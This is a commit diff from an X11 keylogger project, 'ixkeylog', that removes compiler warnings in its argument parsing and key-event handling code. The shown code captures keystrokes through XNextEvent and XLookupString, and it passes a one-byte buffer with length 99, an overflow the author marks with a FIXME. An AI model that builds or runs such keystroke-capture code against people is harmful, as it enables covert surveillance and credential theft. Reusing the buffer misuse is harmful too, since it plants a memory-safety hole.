Removed compiler Warnings

dorneanu · Aug 24, 2013 · 97662c3 · 97662c3
1 parent 60730ce
commit 97662c3
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Showing 8 changed files with 3 additions and 7 deletions.
diff --git a/ixkeylog b/ixkeylog
diff --git a/src/args.c b/src/args.c
@@ -69,9 +69,9 @@ static void args_help() {
 ixkeylog_opts *args_check(int argc, char **argv)
 {
     ixkeylog_opts *opts;
-    static char *opts_name = NULL;
     int option_index = 0;
     int c;
+    const char *short_options = "ho:x:";
 
     /* Allocate memory for own opts structure */
     if((opts = malloc(sizeof(struct _opts))) == NULL)
@@ -90,7 +90,7 @@ ixkeylog_opts *args_check(int argc, char **argv)
 
         switch (c) {
             case 0:
-                opts_name = (char *)long_options[option_index].name;
+                //opts_name = (char *)long_options[option_index].name;
 
                 if(args_debug_flag)                 /* --debug */
                     opts->debug = 1;

diff --git a/src/args.h b/src/args.h
@@ -39,9 +39,6 @@ static int args_debug_flag             = 0;
 static int args_daemonize_flag         = 0;
 static int args_version_flag           = 0;
 
-/* Short options */
-static const char *short_options = "ho:x:";
-
 
 /**
  * Long options for getopts

diff --git a/src/args.o b/src/args.o
diff --git a/src/display.c b/src/display.c
@@ -176,15 +176,14 @@ void display_handle_event(X11LogSess *sess) {
     KeySym ks;              /* Key symbol */
     char *ksname = NULL;    /* String representation of ks */
     char buf;               /* FIXME: Is this secure? */
-    int len = 0;
 
     XNextEvent(sess->dpy, &ev);
 
     if(ev.xany.type == FocusOut)
         sess->focuswin = None;
     else if (ev.xany.type == KeyPress) {
         /* XLookupString  handle keyboard input events in Latin-1 */
-        len = XLookupString(&ev.xkey, &buf, 99, &ks, 0);
+        XLookupString(&ev.xkey, &buf, 99, &ks, 0);
 
         /* Find out string representation */
         if(ks == NoSymbol) {

diff --git a/src/display.o b/src/display.o
diff --git a/src/main.o b/src/main.o
diff --git a/src/signal.o b/src/signal.o